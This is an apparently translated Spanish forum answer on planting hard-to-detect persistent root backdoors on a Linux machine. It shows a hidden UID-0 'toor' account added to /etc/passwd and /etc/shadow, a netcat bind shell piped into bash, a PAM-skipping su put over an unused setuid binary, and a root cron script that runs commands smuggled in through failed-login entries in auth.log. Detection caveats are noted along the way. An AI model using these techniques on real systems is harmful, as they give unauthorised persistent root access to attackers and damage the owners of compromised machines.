Depende más bien de lo que entiendas por "invisible".
Realmente no es posible cambiar el comportamiento del sistema y no dejar rastro detectable. Todo lo que puedes hacer es hacer que sea más difícil encontrar esos rastros. En el extremo de la escala, puede compilar un módulo de kernel capaz de ocultarse que tenga una interfaz en el espacio de usuario, aunque esto está lejos de ser trivial. En el otro extremo de la escala, puede agregar un alias para un usuario existente a / etc / passwd y / etc / shadow, por ejemplo
root:x:0:0:root:/root:/bin/bash
toor:x:0:0:root:/root:/bin/bash
root:$1$WXYZabc4:17158:0:99999:7:::
toor:$1$ABCxyz12:17158:0:99999:7:::
(su destino utilizará una implementación de criptografía más reciente y detallada). Esto es visible en los archivos afectados.
Puede instalar un shell directamente en la red con netcat o [x] inetd
nc -l -p 8282 | bash
... aunque esto es bastante obvio y aparecerá en netstat y ps.
Podría agregar un shell a un usuario del sistema existente y establecer una contraseña, luego para aprovechar el acceso privilegiado necesitaría un programa setuid. Sin duda, ya sabes que establecer el bit setuid en un script no va a funcionar, así que tal vez una versión modificada de su que omita pam para tu nombre de usuario mágico. No lo suelte simplemente en / bin: sobrescriba un programa setuid existente que crea que es poco probable que se use (por ejemplo, ping6). Seguirá apareciendo en tripwire o ossec.
Sería divertido identificar un lugar donde pueda escribir datos sin autenticar y configurar un trabajo cron como root para extraer cadenas y ejecutarlas como root (lo siguiente se simplifica deliberadamente):
#!/bin/bash
tail -100 /var/log/auth.log | \
awk '/Failed password for gangsta/ {
split($0, out, "gangsta|from");
print out[1] "\n";
}' >/tmp/myscript
. /tmp/myscript
rm -f /tmp/myscript
... una vez más, esto puede ser recogido por un IDS de host, y tenga cuidado de que cron envíe un correo electrónico a los usuarios con el resultado de sus trabajos, a menos que lo anule en el archivo cron.